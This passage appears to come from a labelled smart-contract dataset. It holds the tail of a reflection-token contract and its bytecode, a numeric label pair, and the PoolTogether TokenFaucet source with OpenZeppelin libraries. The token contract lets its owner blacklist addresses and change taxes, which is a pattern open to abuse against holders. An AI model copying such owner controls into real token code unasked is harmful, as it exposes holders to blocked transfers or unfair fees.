uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 1000000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 10) { _sellTax = sellTax; } } function _setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 10) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610347578063c3c8cd8014610367578063c9567bf91461037c578063dbe8272c14610391578063dd62ed3e146103b157600080fd5b806370a082311461029d578063715018a6146102bd57806377a1736b146102d25780638da5cb5b146102f257806395d89b411461031a57600080fd5b8063273123b7116100e7578063273123b71461020c5780632b7581b21461022c578063313ce5671461024c5780635932ead1146102685780636fc3eaec1461028857600080fd5b806306fdde031461012f578063095ea7b31461017357806318160ddd146101a35780631bbae6e0146101ca57806323b872dd146101ec57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260098152685975746f2052696b7560b81b60208201525b60405161016a91906116a0565b60405180910390f35b34801561017f57600080fd5b5061019361018e36600461171a565b6103f7565b604051901515815260200161016a565b3480156101af57600080fd5b5069152d02c7e14af68000005b60405190815260200161016a565b3480156101d657600080fd5b506101ea6101e5366004611746565b61040e565b005b3480156101f857600080fd5b5061019361020736600461175f565b61045b565b34801561021857600080fd5b506101ea6102273660046117a0565b6104c4565b34801561023857600080fd5b506101ea610247366004611746565b61050f565b34801561025857600080fd5b506040516009815260200161016a565b34801561027457600080fd5b506101ea6102833660046117cb565b610547565b34801561029457600080fd5b506101ea61058f565b3480156102a957600080fd5b506101bc6102b83660046117a0565b6105c3565b3480156102c957600080fd5b506101ea6105e5565b3480156102de57600080fd5b506101ea6102ed3660046117fe565b610659565b3480156102fe57600080fd5b506000546040516001600160a01b03909116815260200161016a565b34801561032657600080fd5b506040805180820190915260048152635975746f60e01b602082015261015d565b34801561035357600080fd5b5061019361036236600461171a565b6106ef565b34801561037357600080fd5b506101ea6106fc565b34801561038857600080fd5b506101ea61073c565b34801561039d57600080fd5b506101ea6103ac366004611746565b610b0b565b3480156103bd57600080fd5b506101bc6103cc3660046118c3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610404338484610b43565b5060015b92915050565b6000546001600160a01b031633146104415760405162461bcd60e51b8152600401610438906118fc565b60405180910390fd5b683635c9adc5dea000008111156104585760128190555b50565b6000610468848484610c67565b6104ba84336104b585604051806060016040528060288152602001611ac2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb6565b610b43565b5060019392505050565b6000546001600160a01b031633146104ee5760405162461bcd60e51b8152600401610438906118fc565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105395760405162461bcd60e51b8152600401610438906118fc565b600a81101561045857600d55565b6000546001600160a01b031633146105715760405162461bcd60e51b8152600401610438906118fc565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105b95760405162461bcd60e51b8152600401610438906118fc565b4761045881610ff0565b6001600160a01b0381166000908152600260205260408120546104089061102a565b6000546001600160a01b0316331461060f5760405162461bcd60e51b8152600401610438906118fc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106835760405162461bcd60e51b8152600401610438906118fc565b60005b81518110156106eb576001600660008484815181106106a7576106a7611931565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106e38161195d565b915050610686565b5050565b6000610404338484610c67565b6000546001600160a01b031633146107265760405162461bcd60e51b8152600401610438906118fc565b6000610731306105c3565b9050610458816110ae565b6000546001600160a01b031633146107665760405162461bcd60e51b8152600401610438906118fc565b601154600160a01b900460ff16156107c05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610438565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107fe308269152d02c7e14af6800000610b43565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561083757600080fd5b505afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190611978565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b757600080fd5b505afa1580156108cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ef9190611978565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561093757600080fd5b505af115801561094b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096f9190611978565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061099f816105c3565b6000806109b46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1757600080fd5b505af1158015610a2b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a509190611995565b505060118054600b600c819055600d55683635c9adc5dea0000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ad357600080fd5b505af1158015610ae7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106eb91906119c3565b6000546001600160a01b03163314610b355760405162461bcd60e51b8152600401610438906118fc565b600a81101561045857600c55565b6001600160a01b038316610ba55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610438565b6001600160a01b038216610c065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610438565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610438565b6001600160a01b038216610d2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610438565b60008111610d8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610438565b6002600a55600d54600b556000546001600160a01b03848116911614801590610dc657506000546001600160a01b03838116911614155b15610fa6576001600160a01b03831660009081526006602052604090205460ff16158015610e0d57506001600160a01b03821660009081526006602052604090205460ff16155b610e1657600080fd5b6011546001600160a01b038481169116148015610e4157506010546001600160a01b03838116911614155b8015610e6657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7b5750601154600160b81b900460ff165b15610ed857601254811115610e8f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610eb357600080fd5b610ebe4260286119e0565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610f0357506010546001600160a01b03848116911614155b8015610f2857506001600160a01b03831660009081526005602052604090205460ff16155b15610f39576002600a55600c54600b555b6000610f44306105c3565b601154909150600160a81b900460ff16158015610f6f57506011546001600160a01b03858116911614155b8015610f845750601154600160b01b900460ff165b15610fa457610f92816110ae565b478015610fa257610fa247610ff0565b505b505b610fb1838383611237565b505050565b60008184841115610fda5760405162461bcd60e51b815260040161043891906116a0565b506000610fe784866119f8565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106eb573d6000803e3d6000fd5b60006008548211156110915760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610438565b600061109b611242565b90506110a78382611265565b9392505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110f6576110f6611931565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114a57600080fd5b505afa15801561115e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111829190611978565b8160018151811061119557611195611931565b6001600160a01b0392831660209182029290920101526010546111bb9130911684610b43565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f4908590600090869030904290600401611a0f565b600060405180830381600087803b15801561120e57600080fd5b505af1158015611222573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b610fb18383836112a7565b600080600061124f61139e565b909250905061125e8282611265565b9250505090565b60006110a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e2565b6000806000806000806112b987611410565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112eb908761146d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131a90866114af565b6001600160a01b03891660009081526002602052604090205561133c8161150e565b6113468483611558565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138b91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af68000006113bb8282611265565b8210156113d95750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836114035760405162461bcd60e51b815260040161043891906116a0565b506000610fe78486611a80565b600080600080600080600080600061142d8a600a54600b5461157c565b925092509250600061143d611242565b905060008060006114508e8787876115d1565b919e509c509a509598509396509194505050505091939550919395565b60006110a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb6565b6000806114bc83856119e0565b9050838110156110a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610438565b6000611518611242565b905060006115268383611621565b3060009081526002602052604090205490915061154390826114af565b30600090815260026020526040902055505050565b600854611565908361146d565b60085560095461157590826114af565b6009555050565b600080808061159660646115908989611621565b90611265565b905060006115a960646115908a89611621565b905060006115c1826115bb8b8661146d565b9061146d565b9992985090965090945050505050565b60008080806115e08886611621565b905060006115ee8887611621565b905060006115fc8888611621565b9050600061160e826115bb868661146d565b939b939a50919850919650505050505050565b60008261163057506000610408565b600061163c8385611aa2565b9050826116498583611a80565b146110a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610438565b600060208083528351808285015260005b818110156116cd578581018301518582016040015282016116b1565b818111156116df576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461045857600080fd5b8035611715816116f5565b919050565b6000806040838503121561172d57600080fd5b8235611738816116f5565b946020939093013593505050565b60006020828403121561175857600080fd5b5035919050565b60008060006060848603121561177457600080fd5b833561177f816116f5565b9250602084013561178f816116f5565b929592945050506040919091013590565b6000602082840312156117b257600080fd5b81356110a7816116f5565b801515811461045857600080fd5b6000602082840312156117dd57600080fd5b81356110a7816117bd565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561181157600080fd5b823567ffffffffffffffff8082111561182957600080fd5b818501915085601f83011261183d57600080fd5b81358181111561184f5761184f6117e8565b8060051b604051601f19603f83011681018181108582111715611874576118746117e8565b60405291825284820192508381018501918883111561189257600080fd5b938501935b828510156118b7576118a88561170a565b84529385019392850192611897565b98975050505050505050565b600080604083850312156118d657600080fd5b82356118e1816116f5565b915060208301356118f1816116f5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561197157611971611947565b5060010190565b60006020828403121561198a57600080fd5b81516110a7816116f5565b6000806000606084860312156119aa57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119d557600080fd5b81516110a7816117bd565b600082198211156119f3576119f3611947565b500190565b600082821015611a0a57611a0a611947565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a5f5784516001600160a01b031683529383019391830191600101611a3a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a9d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611abc57611abc611947565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac7408f366cbe9b7df2467ee5dea40fb1181e0f894cd90efc24565e5944c5bb964736f6c63430008090033
[ 13, 5 ]
0xF291FfD3EC15f13B3bC0CC8AA5fA0689fdB02D1D
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/SafeCastUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@pooltogether/fixed-point/contracts/FixedPoint.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../utils/ExtendedSafeCast.sol"; import "../token/TokenListener.sol"; /// @title Disburses a token at a fixed rate per second to holders of another token. /// @notice The tokens are dripped at a "drip rate per second". This is the number of tokens that /// are dripped each second. A user's share of the dripped tokens is based on how many 'measure' tokens they hold. /* solium-disable security/no-block-members */ contract TokenFaucet is OwnableUpgradeable, TokenListener { using SafeMathUpgradeable for uint256; using SafeCastUpgradeable for uint256; using ExtendedSafeCast for uint256; event Initialized( IERC20Upgradeable indexed asset, IERC20Upgradeable indexed measure, uint256 dripRatePerSecond ); event Dripped( uint256 newTokens ); event Deposited( address indexed user, uint256 amount ); event Claimed( address indexed user, uint256 newTokens ); event DripRateChanged( uint256 dripRatePerSecond ); struct UserState { uint128 lastExchangeRateMantissa; uint128 balance; } /// @notice The token that is being disbursed IERC20Upgradeable public asset; /// @notice The token that is user to measure a user's portion of disbursed tokens IERC20Upgradeable public measure; /// @notice The total number of tokens that are disbursed each second uint256 public dripRatePerSecond; /// @notice The cumulative exchange rate of measure token supply : dripped tokens uint112 public exchangeRateMantissa; /// @notice The total amount of tokens that have been dripped but not claimed uint112 public totalUnclaimed; /// @notice The timestamp at which the tokens were last dripped uint32 public lastDripTimestamp; /// @notice The data structure that tracks when a user last received tokens mapping(address => UserState) public userStates; /// @notice Initializes a new Comptroller V2 /// @param _asset The asset to disburse to users /// @param _measure The token to use to measure a users portion /// @param _dripRatePerSecond The amount of the asset to drip each second function initialize ( IERC20Upgradeable _asset, IERC20Upgradeable _measure, uint256 _dripRatePerSecond ) public initializer { __Ownable_init(); lastDripTimestamp = _currentTime(); asset = _asset; measure = _measure; setDripRatePerSecond(_dripRatePerSecond); emit Initialized( asset, measure, dripRatePerSecond ); } /// @notice Safely deposits asset tokens into the faucet. Must be pre-approved /// This should be used instead of transferring directly because the drip function must /// be called before receiving new assets. /// @param amount The amount of asset tokens to add (must be approved already) function deposit(uint256 amount) external { drip(); asset.transferFrom(msg.sender, address(this), amount); emit Deposited(msg.sender, amount); } /// @notice Transfers all unclaimed tokens to the user /// @param user The user to claim tokens for /// @return The amount of tokens that were claimed. function claim(address user) external returns (uint256) { drip(); _captureNewTokensForUser(user); uint256 balance = userStates[user].balance; userStates[user].balance = 0; totalUnclaimed = uint256(totalUnclaimed).sub(balance).toUint112(); asset.transfer(user, balance); emit Claimed(user, balance); return balance; } /// @notice Drips new tokens. /// @dev Should be called immediately before any measure token mints/transfers/burns /// @return The number of new tokens dripped. function drip() public returns (uint256) { uint256 currentTimestamp = _currentTime(); // this should only run once per block. if (lastDripTimestamp == uint32(currentTimestamp)) { return 0; } uint256 assetTotalSupply = asset.balanceOf(address(this)); uint256 availableTotalSupply = assetTotalSupply.sub(totalUnclaimed); uint256 newSeconds = currentTimestamp.sub(lastDripTimestamp); uint256 nextExchangeRateMantissa = exchangeRateMantissa; uint256 newTokens; uint256 measureTotalSupply = measure.totalSupply(); if (measureTotalSupply > 0 && availableTotalSupply > 0) { newTokens = newSeconds.mul(dripRatePerSecond); if (newTokens > availableTotalSupply) { newTokens = availableTotalSupply; } uint256 indexDeltaMantissa = FixedPoint.calculateMantissa(newTokens, measureTotalSupply); nextExchangeRateMantissa = nextExchangeRateMantissa.add(indexDeltaMantissa); emit Dripped( newTokens ); } exchangeRateMantissa = nextExchangeRateMantissa.toUint112(); totalUnclaimed = uint256(totalUnclaimed).add(newTokens).toUint112(); lastDripTimestamp = currentTimestamp.toUint32(); return newTokens; } function setDripRatePerSecond(uint256 _dripRatePerSecond) public onlyOwner { require(_dripRatePerSecond > 0, "TokenFaucet/dripRate-gt-zero"); // ensure we're all caught up drip(); dripRatePerSecond = _dripRatePerSecond; emit DripRateChanged(dripRatePerSecond); } /// @notice Captures new tokens for a user /// @dev This must be called before changes to the user's balance (i.e. before mint, transfer or burns) /// @param user The user to capture tokens for /// @return The number of new tokens function _captureNewTokensForUser( address user ) private returns (uint128) { UserState storage userState = userStates[user]; if (exchangeRateMantissa == userState.lastExchangeRateMantissa) { // ignore if exchange rate is same return 0; } uint256 deltaExchangeRateMantissa = uint256(exchangeRateMantissa).sub(userState.lastExchangeRateMantissa); uint256 userMeasureBalance = measure.balanceOf(user); uint128 newTokens = FixedPoint.multiplyUintByMantissa(userMeasureBalance, deltaExchangeRateMantissa).toUint128(); userStates[user] = UserState({ lastExchangeRateMantissa: exchangeRateMantissa, balance: uint256(userState.balance).add(newTokens).toUint128() }); return newTokens; } /// @notice Should be called before a user mints new "measure" tokens. /// @param to The user who is minting the tokens /// @param amount The amount of tokens they are minting /// @param token The token they are minting /// @param referrer The user who referred the minting. function beforeTokenMint( address to, uint256 amount, address token, address referrer ) external override { if (token == address(measure)) { drip(); _captureNewTokensForUser(to); } } /// @notice Should be called before "measure" tokens are transferred or burned /// @param from The user who is sending the tokens /// @param to The user who is receiving the tokens /// @param token The token token they are burning function beforeTokenTransfer( address from, address to, uint256, address token ) external override { // must be measure and not be minting if (token == address(measure) && from != address(0)) { drip(); _captureNewTokensForUser(to); _captureNewTokensForUser(from); } } /// @notice returns the current time. Allows for override in testing. /// @return The current time (block.timestamp) function _currentTime() internal virtual view returns (uint32) { return block.timestamp.toUint32(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCastUpgradeable { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is 